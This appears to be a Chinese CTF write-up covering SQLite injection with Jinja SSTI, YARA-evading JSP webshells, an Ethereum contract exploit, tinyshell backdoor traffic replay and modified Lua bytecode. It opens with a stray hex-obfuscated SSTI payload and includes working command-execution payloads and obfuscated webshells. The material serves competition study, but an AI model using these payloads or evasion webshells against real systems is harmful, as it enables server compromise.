{%print("a"|attr("FLAG"|attr("encode")()|attr("fromhex")("5f5f636c6173735f5f")|attr("decode")())|attr("FLAG"|attr("encode")()|attr("fromhex")("5f5f6d726f5f5f")|attr("decode")())|last|attr("FLAG"|attr("encode")()|attr("fromhex")("5f5f737562636c61737365735f5f")|attr("decode")())()|attr("pop")(414)|attr("FLAG"|attr("encode")()|attr("fromhex")("5f5f696e69745f5f")|attr("decode")())|attr("FLAG"|attr("encode")()|attr("fromhex")("5f5f676c6f62616c735f5f")|attr("decode")())|attr("FLAG"|attr("encode")()|attr("fromhex")("676574")|attr("decode")())("FLAG"|attr("encode")()|attr("fromhex")("5f5f6275696c74696e735f5f")|attr("decode")())|attr("FLAG"|attr("encode")()|attr("fromhex")("676574")|attr("decode")())("FLAG"|attr("encode")()|attr("fromhex")("6576616c")|attr("decode")())("FLAG"|attr("encode")()|attr("fromhex")("5f5f696d706f72745f5f28226f7322292e706f70656e28276361743c666c61672e74787427292e726561642829")|attr("decode")()))%}

pyer

本题目主要考察基于sqlite的注入以及ssti的利用

基于sqlite的sql注入

题目开始是一个登陆界面,经过测试可以知道有sql注入漏洞,且为sqlite数据库 可以通过bool注入得到口令为sqlite_not_safe

SSTI

然后是SSTI进行代码执行,这里是python3的环境,因此payload为:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat flag.txt').read()") }}{% endif %}{% endfor %}

最终的payload为,需要注意的是sqlite的'转义并不是',而是''

1' union select '{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==''catch_warnings'' %}{{ c.__init__.__globals__[''__builtins__''].eval("__import__(''os'').popen(''cat flag.txt'').read()") }}{% endif %}{% endfor %}

webshell

出题思路

本地旨在模拟一个云环境的漏洞利用场景,难度设计为签到难度,但希望能尽量逼近云环境。

所以基于yara和一些动态检测规则,构造了一个webshell检测的环境。

  1. 检测端:部署yara及动态检测,提供api用于webshell检测服务

  2. 为保证选手解题体验,选手端独立部署

  3. 选手上传webshell,后台上传至检测端,并根据检测结果打印回显

  4. 考虑到在云场景中使用比php多,本题使用jsp

为避免过多误报,检测规则不能设计得过于严格,同时预留了一些允许命令执行的函数以降低难度,因此也会存在多种解法。

writeup

随便上传一个kali下自带的webshell,会收到回显it's a webshell, hacker!

经过多次尝试题目好像没有限制任意文件读

上传以下文件,可以读取到upload.jsp文件内容

<%@ page import = ".io.*"%>
<%
    File f = new File(application.getRealPath(""), "upload.jsp");
    FileReader fr = new FileReader(f);
    char data[] = new char[(int) f.length()];
    int charsread = fr.read(data);
    String s = new String(data, 0 , charsread);
%>
<%=s %>

发现upload.jsp上传的文件传到了一个另一个地方进行检测

无法直接读取/flag

.io.FileNotFoundException: /flag (Permission denied)

因此考虑绕过webshell检测,上传一个可以命令执行的webshell

绕过方式包括且不限于:

  1. 使用未被过滤的函数

  2. 不通过webshell自身绕过,通过一些非正常行为绕过检测端,例如并发操作等

  3. 绕过后台检测工具特性,例如发送一些特殊字符,使其对后续字符不再检测

  4. 使后台检测工具无法检测,但jsp可以正常理解,例如编码等

以下是一些选手的样本:

<%=new String(((Process)Runtime.class.getMethods()[12].invoke(Runti
me.getRuntime(), "cat /flag")).getInputStream().readAllBytes())%>
<%@ page contentType="text/html;charset=UTF-8" language="" %>
<%
if(request.getParameter("cmd")!=null){
Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97,
46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));
Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120,
101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103,
101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null),
request.getParameter("cmd") );
.io.InputStream in = e.getInputStream();
int a = -1;byte[] b = new byte[2048];out.print("<pre>");
while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("
</pre>");
}
%>
<jsp:let>
if(\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u006
1\u0072\u0061\u006d\u0065\u0074\u0065\u0072("cmd") != \u006e\u0075\u006c\u006c){
\u0050\u0072\u006f\u0063\u0065\u0073\u0073 p =
\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u
0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u00
6d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063(\u0072\u0065\u0071\u0075\u006
5\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\
u0065\u0072("cmd"));
\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u004f\u0075\u0074\u0070\u0075\u
0074\u0053\u0074\u0072\u0065\u0061\u006d os = p.getOutputStream();
\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0049\u006e\u0070\u0075\u0074\u
0053\u0074\u0072\u0065\u0061\u006d in = p.getInputStream();
\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0044\u0061\u0074\u0061\u0049\u
006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d dis = new
.io.DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr); disr = dis.readLine(); }
}
out.println("\u0074\u0030\u0030\u006c\u0073\u0020\u0031\u0032\u0034\u0035\u0035"
);
</jsp:let>

MISC

EthEnc

过了程序的pow可以看到有4个菜单:

We design a pretty easy contract game. Enjoy it!
1. Create a game account
2. Deploy a game contract
3. Request for flag
4. Get source code
Game environment: Ropsten testnet

Option 1, get an account which will be used to deploy the contract;
Before option 2, please transfer some eth to this account (for gas);
Option 2, the robot will use the account to deploy the contract for the problem;
Option 3, use this option to obtain the flag after emit OhSendFlag(address addr) event.
You can finish this challenge in a lot of connections.

菜单4可以看到一部分源码,从中可以知道我们需要触发payforflag函数:

pragma solidity ^0.6.12;

contract EthEnc {
    .........................
    .........................
    .........................
    event OhSendFlag(address addr);
    
    modifier auth {
        require(msg.sender == owner || msg.sender == address(this), "EthEnc: not authorized");
        _;
    }

    function payforflag() public auth {
        require(output == 2282910687825444608285583946662268071674116917685196567156);
        emit OhSendFlag(msg.sender);
        selfdestruct(msg.sender);
    }
    .........................
    .........................
    .........................

}

先通过功能1创建账号:

[-]input your choice: $ 1
[+]Your game account:0x57BA63AABc5991852A50C6b2361fbe5fEAE49fd1
[+]token: OnvPSX3yroQVfoPezMU5JxTox1qlqP/D/+4Bk/9hMj3TNL/EvDGtDEZX5MApRGh3l/mIrYB9RlB40Q88n87Ogx+x0WCR92vm0iLi4pKJVLEUhL9CJK0YMI6kGMlMuF0oXbhsMopmgHUMD6VNL/WcDgiUf1w++IW586HEXMKGyaU=
[+]Deploy will cost 565486 gas
[+]Make sure that you have enough ether to deploy!!!!!!

给功能1的账号转账后,再通过功能2部署合约:

[-]input your choice: $ 2
[-]input your token: $ OnvPSX3yroQVfoPezMU5JxTox1qlqP/D/+4Bk/9hMj3TNL/EvDGtDEZX5MApRGh3l/mIrYB9RlB40Q88n87Ogx+x0WCR92vm0iLi4pKJVLEUhL9CJK0YMI6kGMlMuF0oXbhsMopmgHUMD6VNL/WcDgiUf1w++IW586HEXMKGyaU=
[+]new token: sdSA/5Vg6zOGg9imEZ9VZD2gM9kYjvTcLaS7UdqDOIc/aQ20jAuWdM3j5yvu6+gjMagTr7lXYNgAxTobDjH0G6VUm4b/QImRuU3vrRCmLj0OA3B703WGsITM//wgYfe4etYKu2kgdCpAtL6CRaGitq8mIALIfhZ3E7dtpUpgut91COVf7w8cG6VqqGp5lWO+zoTK5jlYse0zPun9IJkflA==
[+]Your goal is to emit OhSendFlag(address addr) event in the game contract
[+]Transaction hash: 0x944d930f504881910ab139a77501c4ea7716b5ed2b50e851dc9e83808b29c058

得到交易id后,我们可以去https://ropsten.etherscan.io查询交易,得到合约的字节码:

0x6080604052600436106100435760003560e01c8063234fbf321461011e57806380e10aa514610135578063e7aab2901461014c578063f20eaeb81461021457610119565b366101195760003414156100b6573073ffffffffffffffffffffffffffffffffffffffff166380e10aa56040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561009957600080fd5b505af11580156100ad573d6000803e3d6000fd5b50505050610117565b3073ffffffffffffffffffffffffffffffffffffffff1663234fbf326040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156100fe57600080fd5b505af1158015610112573d6000803e3d6000fd5b505050505b005b600080fd5b34801561012a57600080fd5b5061013361023f565b005b34801561014157600080fd5b5061014a61054a565b005b34801561015857600080fd5b506102126004803603602081101561016f57600080fd5b810190808035906020019064010000000081111561018c57600080fd5b82018360208201111561019e57600080fd5b803590602001918460018302840111640100000000831117156101c057600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506106cd565b005b34801561022057600080fd5b506102296106e7565b6040518082815260200191505060405180910390f35b60006102e4600a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102da5780601f106102af576101008083540402835291602001916102da565b820191906000526020600020905b8154815290600101906020018083116102bd57829003601f168201915b50505050506106ed565b905060008063ffffffff60015460601c1660055563ffffffff60015460401c1660065563ffffffff60015460201c1660075563ffffffff600154166008556001805b60048110156105435763ffffffff85600860046008850260180301021c16935063ffffffff856008808402601803021c169250600060045560005b60208110156105175760008060008063ffffffff8863ffffffff60208b041663ffffffff60108c02161801169350600363ffffffff6004541616600081146103cf57600181146103eb57600281146104075763ffffffff806008541663ffffffff600454160116935061041f565b63ffffffff806005541663ffffffff600454160116935061041f565b63ffffffff806006541663ffffffff600454160116935061041f565b63ffffffff806007541663ffffffff60045416011693505b5063ffffffff8385188a0116985063ffffffff60025460051c63ffffffff60045416011660045563ffffffff8963ffffffff60208c041663ffffffff60108d02161801169150600363ffffffff8060045416600b1c1616600081146104aa57600181146104c657600281146104e25763ffffffff806008541663ffffffff60045416011691506104fa565b63ffffffff806005541663ffffffff60045416011691506104fa565b63ffffffff806006541663ffffffff60045416011691506104fa565b63ffffffff806007541663ffffffff60045416011691505b5063ffffffff818318890116975050505050600181019050610361565b50826040820260c0031b846020840260c0031b0160035401600355600282019150600181019050610326565b5050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806105cf57503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610641576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f457468456e633a206e6f7420617574686f72697a65640000000000000000000081525060200191505060405180910390fd5b775d1ab31f6a103c8f364d33e96dbdd5cdbd40d15e55c232746003541461066757600080fd5b7f8b177f28772b136d199ffba089065a411729f108f8d6c93aec14389ed904d00133604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a13373ffffffffffffffffffffffffffffffffffffffff16ff5b80600a90805190602001906106e3929190610715565b5050565b60035481565b60008060208301519050680100000000000000008160001c8161070c57fe5b04915050919050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061075657805160ff1916838001178555610784565b82800160010185558215610784579182015b82811115610783578251825591602001919060010190610768565b5b5090506107919190610795565b5090565b5b808211156107ae576000816000905550600101610796565b509056fea2646970667358221220a9e07df1b7e0cb341d8070f34f6912ff2ba7e42490326fed5ba8d7c8d716bfab64736f6c634300060c0033

ropsten自带的反编译结果:

#
#  Panoramix v4 Oct 2019 
#  Decompiled source of ropsten:0x97575FA5A283eD45ddDddCFF45DC65869Ac62243
# 
#  Let's make the world open source 
# 
#
#  I failed with these: 
#  - _fallback()
#  All the rest is below.
#

def storage:
  stor0 is addr at storage 0
  stor1 is uint32 at storage 1 offset 32
  stor1 is uint32 at storage 1 offset 96
  stor1 is uint32 at storage 1 offset 64
  stor1 is uint32 at storage 1
  stor2 is uint256 at storage 2
  output is uint256 at storage 3
  stor4 is uint32 at storage 4
  stor4 is uint8 at storage 4 offset 11
  stor4 is uint256 at storage 4
  stor4 is uint8 at storage 4
  stor4 is uint256 at storage 4 offset 32
  stor5 is uint32 at storage 5
  stor5 is uint256 at storage 5
  stor6 is uint32 at storage 6
  stor6 is uint256 at storage 6
  stor7 is uint32 at storage 7
  stor7 is uint256 at storage 7
  stor8 is uint32 at storage 8
  stor8 is uint256 at storage 8
  stor10 is array of struct at storage 10

def output(): # not payable
  return output

#
#  Regular functions
#

def unknown80e10aa5(): # not payable
  if stor0 != caller:
      if this.address != caller:
          revert with 0, 'EthEnc: not authorized'
  require output == 0x5d1ab31f6a103c8f364d33e96dbdd5cdbd40d15e55c23274
  log 0x8b177f28: caller
  selfdestruct(caller)

def unknowne7aab290(array _param1): # not payable
  require calldata.size - 4 >= 32
  require _param1 <= 4294967296
  require _param1 + 36 <= calldata.size
  require _param1.length <= 4294967296 and _param1 + _param1.length + 36 <= calldata.size
  stor10[].field_0 = Array(len=_param1.length, data=_param1[all])

def unknown234fbf32(): # not payable
  idx = 128
  s = 0
  while stor10.length + 96 > idx:
      mem[idx + 32] = stor10[s].field_256
      idx = idx + 32
      s = s + 1
      continue 
  uint256(stor5) = uint32(stor1.field_96)
  uint256(stor6) = uint32(stor1.field_64)
  uint256(stor7) = uint32(stor1.field_32)
  uint256(stor8) = uint32(stor1.field_0)
  idx = 1
  s = 1
  t = 0
  t = 0
  while idx < 4:
      uint256(stor4.field_0) = 0
      t = 0
      u = 0
      v = 0
      while t < 32:
          uint32(stor4.field_0) = uint32(uint32(stor4.field_0) + (Mask(251, 0, stor2) * 0.03125))
          Mask(224, 0, stor4.field_32) = 0
          if not stor4.field_0 % 4:
          ......

stor1和stor4的两个值感觉比较重要,看反编译代码里是找不到这两个值的,可以通过两种方式,方法一是反编译此次交易的input data:

结果如下:

contract disassembler {

    function main() public return ()
    {
        mstore(0x40,0x80);
        sstore(0x4,(~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000 & sload(0x4)));
        sstore(0x5,(~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000 & sload(0x5)));
        sstore(0x6,(~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000 & sload(0x6)));
        sstore(0x7,(~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000 & sload(0x7)));
        sstore(0x8,(~0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000 & sload(0x8)));
        sstore(0x9,0x944AA7BA1B02649C534F16833BFBD82F);
        sstore(0x1,0x746869745F69735E5F746573746B6579);
        sstore(0x2,0xB3C6EF3720);
        callcodecopy(0x0,0x1E3,0x7E8);
        RETURN(0x0,0x7E8);
    }

}

或者通过API查看:

#!/usr/bin/env python
# coding=utf-8
from web3 import Web3

contract_address = '0x97575fa5a283ed45dddddcff45dc65869ac62243'
w3 = Web3(Web3.HTTPProvider(""))
key = w3.eth.getStorageAt(Web3.toChecksumAddress(contract_address), 1)
print(key)

stor1的值为thit_is^_testkey,计算stor4:

>>> hex(int(0xb3c6ef3720 * 0.03125) & 0xffffffff)
'0x9e3779b9'

根据0x9e3779b9常量和反编译代码,可以推断出是XTEA加密算法,stor1为key,密文十进制为2282910687825444608285583946662268071674116917685196567156,因此可以解密:

#include <stdio.h>
#include <stdint.h>
#include <string.h>

/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */

void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;
    for (i=0; i < num_rounds; i++) {
        v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
        sum += delta;
        v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
    }
    v[0]=v0; v[1]=v1;
}

void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
    for (i=0; i < num_rounds; i++) {
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
        sum -= delta;
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    }
    v[0]=v0; v[1]=v1;
}

int main()
{
    unsigned int i;
    uint32_t const k[4]={0x74686974,0x5f69735e,0x5f746573,0x746b6579};
    unsigned int r=32;

    // 2282910687825444608285583946662268071674116917685196567156 = 0x5d1ab31f6a103c8f364d33e96dbdd5cdbd40d15e55c23274
    uint32_t enc1[2] = {0x5d1ab31f, 0x6a103c8f};
    uint32_t enc2[2] = {0x364d33e9, 0x6dbdd5cd};
    uint32_t enc3[2] = {0xbd40d15e, 0x55c23274};
    char flag[50];
    decipher(r, enc1, k);
    decipher(r, enc2, k);
    decipher(r, enc3, k);
    printf("解密后的数据:%x %x %x %x %x %x\n",enc1[0],enc1[1],enc2[0],enc2[1],enc3[0],enc3[1]);

    // 0x5f5f6f685f66616e74616e73697469635f626162795f5f5f
    int s[24] = {0x5f, 0x5f, 0x6f, 0x68, 0x5f, 0x66, 0x61, 0x6e, 0x74, 0x61, 0x6e, 0x73, 0x69, 0x74, 0x69, 0x63, 0x5f, 0x62, 0x61, 0x62, 0x79, 0x5f, 0x5f, 0x5f};
    for (i=0; i<24; i++) {
        printf("%c", s[i]);
    }

    return 0;
}

得到明文为__oh_fantansitic_baby___ 看题目给出的部分源代码,payforflag有modifier auth的检查,所以我们不能直接调用,利用https://ethervm.io/decompile反编译合约看到:

        ......
        } else if (msg.data.length) { revert(memory[0x00:0x00]); }
        else if (msg.value != 0x00) {
            var var0 = address(this);
            var var1 = 0x234fbf32;
            var temp0 = memory[0x40:0x60];
            memory[temp0:temp0 + 0x20] = (var1 & 0xffffffff) << 0xe0;
            var var2 = temp0 + 0x04;
            var var3 = 0x00;
            var var4 = memory[0x40:0x60];
            var var5 = var2 - var4;
            var var6 = var4;
            var var7 = 0x00;
            var var8 = var0;
            var var9 = !address(var8).code.length;
        
            if (var9) { revert(memory[0x00:0x00]); }
        
            var temp1;
            temp1, memory[var4:var4 + var3] = address(var8).call.gas(msg.gas).value(var7)(memory[var6:var6 + var5]);
            var3 = !temp1;
        
            if (!var3) { stop(); }
        
            var temp2 = returndata.length;
            memory[0x00:0x00 + temp2] = returndata[0x00:0x00 + temp2];
            revert(memory[0x00:0x00 + returndata.length]);
        } else {
            var0 = address(this);
            var1 = 0x80e10aa5;
            var temp3 = memory[0x40:0x60];
            memory[temp3:temp3 + 0x20] = (var1 & 0xffffffff) << 0xe0;
            var2 = temp3 + 0x04;
            var3 = 0x00;
            var4 = memory[0x40:0x60];
            var5 = var2 - var4;
            var6 = var4;
            var7 = 0x00;
            var8 = var0;
            var9 = !address(var8).code.length;
        
            if (var9) { revert(memory[0x00:0x00]); }
        
            var temp4;
            temp4, memory[var4:var4 + var3] = address(var8).call.gas(msg.gas).value(var7)(memory[var6:var6 + var5]);
            var3 = !temp4;
        
            if (!var3) { stop(); }
        
            var temp5 = returndata.length;
            memory[0x00:0x00 + temp5] = returndata[0x00:0x00 + temp5];
            revert(memory[0x00:0x00 + returndata.length]);
        }
    }
    ......

如果转账金额为0的话,就会调用0x80e10aa5函数,即payforflag。 于是先调用e7aab290函数设置明文,字符串参数可以用如下方法生成:

from eth_abi import encode_abi
print(encode_abi(['string'], ['__oh_fantansitic_baby___']).hex())

调用脚本如下:

#!/usr/bin/env python
# coding=utf-8
from web3 import Web3

contract_address = '0x97575fa5a283ed45dddddcff45dc65869ac62243'
w3 = Web3(Web3.HTTPProvider(""))

private = bytes.fromhex("")

def get_txn(data):
    txn = {
        "nonce": w3.eth.getTransactionCount('0xfe80C412340e57305bc85C4692F853E10c69e186'),
        "from": '0xfe80C412340e57305bc85C4692F853E10c69e186',
        "to": Web3.toChecksumAddress(contract_address),
        "gasPrice": w3.eth.gasPrice,
        "gas": 3000000,
        "value": Web3.toWei(0, 'ether'),
        "data": data
      }
    return txn

data1 = '0xe7aab290000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000185f5f6f685f66616e74616e73697469635f626162795f5f5f0000000000000000'
data2 = '0x234fbf32'
data3 = '0x'

signed_txn = w3.eth.account.signTransaction(get_txn(data1), private)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
print(txn_hash)
print(txn_receipt)

然后调用0x234fbf32函数加密:

signed_txn = w3.eth.account.signTransaction(get_txn(data2), private)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
print(txn_hash)
print(txn_receipt)

触发payforflag:

signed_txn = w3.eth.account.signTransaction(get_txn(data3), private)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
print(txn_hash)
print(txn_receipt)

然后通过功能3 Request for flag即可得到flag。

WhoMovedMyFlag

打开流量包,发现有两个流,第一个是HTTP的,通过wget访问了一个叫做tshd的文件。通过文件名猜测是tinyshell后门软件,提取出来以后拖到ida里看一下可以很明显的看到第二个流的对端C2地址,172.17.0.24,然后还有另外一个字符串,猜测是密钥:6.3.0-18+deb9u1

git clone https://github.com/orangetw/tsh

按照secret:6.3.0-18+deb9u1 端口8888 ,这里为了绕过tsh端的校验,需要手动在pel.c中patch sha1中的40个字节,patch成第一个数据包中的40个字节即可,然后编译tsh备用。

编写流量重放脚本

peer0_0= [
0x0a, 0xb3, 0x48, 0xad, 0x08, 0x26, 0xc6, 0x45,
0x18, 0x71, 0x2b, 0x9d, 0xf0, 0x8a, 0xf6, 0x3e,
0x3a, 0x5e, 0xfb, 0x96, 0x71, 0xf4, 0xc4, 0xe0,
0xcc, 0x37, 0x46, 0x94, 0xb3, 0x91, 0xb0, 0xbe,
0xe7, 0x6a, 0xf2, 0x09, 0x12, 0x9d, 0x69, 0x7f,
0x05, 0xfc, 0x2a, 0x24, 0xec, 0x76, 0x5e, 0xde,
0x53, 0x2b, 0x25, 0xb8]
peer0_1=[
0x97, 0xb5, 0xfe, 0xbf, 0xe4, 0x8f, 0x28, 0x9f,
0x8e, 0x6f, 0xac, 0xc2, 0xd5, 0xc4, 0xac, 0x01,
0xa8, 0xd8, 0x7a, 0xa4, 0x26, 0xad, 0xca, 0xea,
0xbc, 0x35, 0x75, 0x28, 0x7c, 0xa0, 0xed, 0xa5,
0xba, 0x02, 0xeb, 0x63, 0xa5, 0xb8, 0x56, 0x3c,
0x7a, 0xe5, 0x65, 0x9a, 0x83, 0xb1, 0x13, 0xdf,
0xf5, 0x49, 0x08, 0x17]
peer0_2=[
0x84, 0x58, 0x07, 0x3e, 0x49, 0x59, 0x5c, 0x9c,
0x05, 0xb1, 0x94, 0x24, 0x01, 0x13, 0x46, 0x7d,
0x6f, 0x3a, 0x86, 0xf5, 0xfe, 0x64, 0x19, 0xf1,
0x8e, 0xe6, 0x0e, 0xf1, 0x3a, 0xdd, 0x8b, 0x4f,
0xa9, 0xa6, 0xc5, 0x34, 0xbb, 0x69, 0x53, 0x61,
0xc6, 0x41, 0xeb, 0xb6, 0x8b, 0xd1, 0x59, 0x82,
0xe2, 0xfa, 0xbe, 0xf1, 0x3c, 0xd5, 0xc6, 0x75,
0x81, 0x83, 0x2b, 0x98, 0x64, 0xe3, 0xaa, 0xd9,
0x14, 0x5b, 0xc3, 0xa8, 0xaf, 0x74, 0xda, 0x49,
0x31, 0xab, 0xd1, 0xfe, 0x52, 0xcf, 0x80, 0x57,
0x43, 0x68, 0xaf, 0xa0, 0x20, 0x7c, 0xe8, 0x34,
0x36, 0x7c, 0x3d, 0x0b, 0xc3, 0xe3, 0xb0, 0x1b,
0x38, 0x12, 0x68, 0xb3, 0xad, 0x97, 0x6e, 0x7c,
0xb7, 0x78, 0x1f, 0xa4, 0x11, 0xf7, 0xd1, 0x62,
0x58, 0xa1, 0x89, 0xdf, 0x12, 0xa9, 0x62, 0x33,
0x86, 0xff, 0x59, 0x31, 0xfb, 0x5e, 0x72, 0xc0,
0xc4, 0xdc, 0x6d, 0x53, 0x1b, 0x63, 0x33, 0x48,
0x35, 0xda, 0x91, 0xda, 0xa5, 0xba, 0x73, 0xe8,
0x94, 0x5e, 0xe5, 0x68, 0x3f, 0x1a, 0x11, 0x02,
0xe0, 0x09, 0xc1, 0x35, 0x8d, 0xff, 0x01, 0x6e,
0xd4, 0xf1, 0xe2, 0x48, 0xe3, 0xc7, 0xb2, 0x4b,
0x4f, 0xa6, 0xa0, 0xc5, 0x6d, 0x0f, 0x4f, 0x45,
0x74, 0x8f, 0x33, 0xd9, 0xa6, 0xab, 0x28, 0xfc,
0xa2, 0x9a, 0x0c, 0x69, 0x21, 0x64, 0x89, 0x95,
0xb8, 0x5b, 0xbb, 0x32, 0x48, 0x4b, 0x6e, 0xe9,
0x52, 0x55, 0x3d, 0x78, 0xeb, 0x29, 0x19, 0x3e,
0xe7, 0xaf, 0xfd, 0x1f, 0x61, 0x10, 0x6d, 0x89,
0x8c, 0xe4, 0xb7, 0xb5, 0x08, 0x45, 0xb9, 0x73,
0x66, 0x6d, 0x73, 0x81, 0x43, 0x3e, 0x28, 0x0e,
0x15, 0x43, 0xbb, 0xca, 0x13, 0x3e, 0x7a, 0x24,
0x8b, 0x3a, 0x3a, 0x5c, 0xcf, 0x91, 0x61, 0x5a,
0x41, 0x44, 0xa0, 0x8a, 0xf3, 0x7e, 0x7c, 0x65,
0xe3, 0x23, 0x76, 0x26, 0x03, 0x32, 0x57, 0xc2,
0xc6, 0x48, 0xbc, 0xae, 0xf8, 0xd9, 0xc7, 0x42,
0xe9, 0x6f, 0x7f, 0xb4, 0xa6, 0x3b, 0x1d, 0x78,
0x0f, 0xfe, 0x1e, 0x00, 0xf2, 0xdb, 0x64, 0x53,
0x2c, 0xd9, 0x28, 0xbe, 0x9d, 0x35, 0xf4, 0x24,
0x78, 0x06, 0x2c, 0x18, 0x36, 0xc7, 0xd9, 0xc8,
0xd0, 0x40, 0xbd, 0xe0, 0x9b, 0x92, 0xa3, 0x9c,
0x36, 0x64, 0xcd, 0x83, 0xf6, 0x4f, 0xd7, 0xb1,
0x1f, 0x93, 0xaa, 0x7a]

peer0 = [peer0_0, peer0_1, peer0_2]

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1",8888))
for x in peer0:
   s.recv(1000)
   s.send("".join(map(chr,x)))

使用反向监听模式:.\tsh cb 重放流量可得flag

cat /etc/flag
exit
root@e3baa00f5c9a:/tmp# cat /etc/flag
ctf{c67d123f74a091a8e4b12015}
root@e3baa00f5c9a:/tmp# exit
logout

flag:ctf{c67d123f74a091a8e4b12015}

Reverse

weird_lua

本题考点主要是对lua-5.3源码做了部分修改,根据luac生成了二进制文件。

  1. 修改了lundump.c中的LoadByte函数,将结果与0xff做了异或,如下 static lu_byte LoadByte (LoadState *S) { lu_byte x; LoadVar(S, x); x ^= 0xff; return x; }

  2. 修改了部分opcode序列的顺序,随机修改,具体见如下:

0 0 1 MOVE -> MOVE
1 1 1 LOADK -> LOADK
2 2 1 LOADKX -> LOADKX
3 3 1 LOADBOOL -> LOADBOOL
4 4 1 LOADNIL -> LOADNIL
5 5 1 GETUPVAL -> GETUPVAL
6 32 1 GETTABUP -> LT
7 38 1 GETTABLE -> RETURN
8 7 1 SETTABUP -> GETTABLE
9 35 1 SETUPVAL -> TESTSET
10 12 1 SETTABLE -> SELF
11 11 1 NEWTABLE -> NEWTABLE
12 33 1 SELF -> LE
13 13 1 ADD -> ADD
14 14 1 SUB -> SUB
15 15 1 MUL -> MUL
16 16 1 MOD -> MOD
17 17 1 POW -> POW
18 18 1 DIV -> DIV
19 19 1 IDIV -> IDIV
20 20 1 BAND -> BAND
21 21 1 BOR -> BOR
22 22 1 BXOR -> BXOR
23 23 1 SHL -> SHL
24 24 1 SHR -> SHR
25 25 1 UNM -> UNM
26 26 1 BNOT -> BNOT
27 27 1 NOT -> NOT
28 28 1 LEN -> LEN
29 6 1 CONCAT -> GETTABUP
30 30 1 JMP -> JMP
31 34 1 EQ -> TEST
32 8 1 LT -> SETTABUP
33 41 1 LE -> TFORCALL
34 40 1 TEST -> FORPREP
35 46 1 TESTSET -> EXTRAARG
36 36 1 CALL -> CALL
37 39 1 TAILCALL -> FORLOOP
38 43 1 RETURN -> SETLIST
39 29 1 FORLOOP -> CONCAT
40 37 1 FORPREP -> TAILCALL
41 42 1 TFORCALL -> TFORLOOP
42 45 1 TFORLOOP -> VARARG
43 10 1 SETLIST -> SETTABLE
44 9 1 CLOSURE -> SETUPVAL
45 44 1 VARARG -> CLOSURE
46 31 1 EXTRAARG -> EQ
  1. 破解方法:

    1. 通过逆向,可以发现头部各种标志不对,从而发现LoadByte的问题,重新编译lua代码修复该问题,修完后继续发现还修改了LUA_SIGNATURE,由1b改成了1c。然后继续发现操作码对不上。

    2. 自己编写lua脚本,调用lua子代码的string.dump函数,可以找到生成的lua二进制脚本,与正常生成的作对比,可以找到操作码的对应关系。参考https://bbs.pediy.com/thread-250618.htm

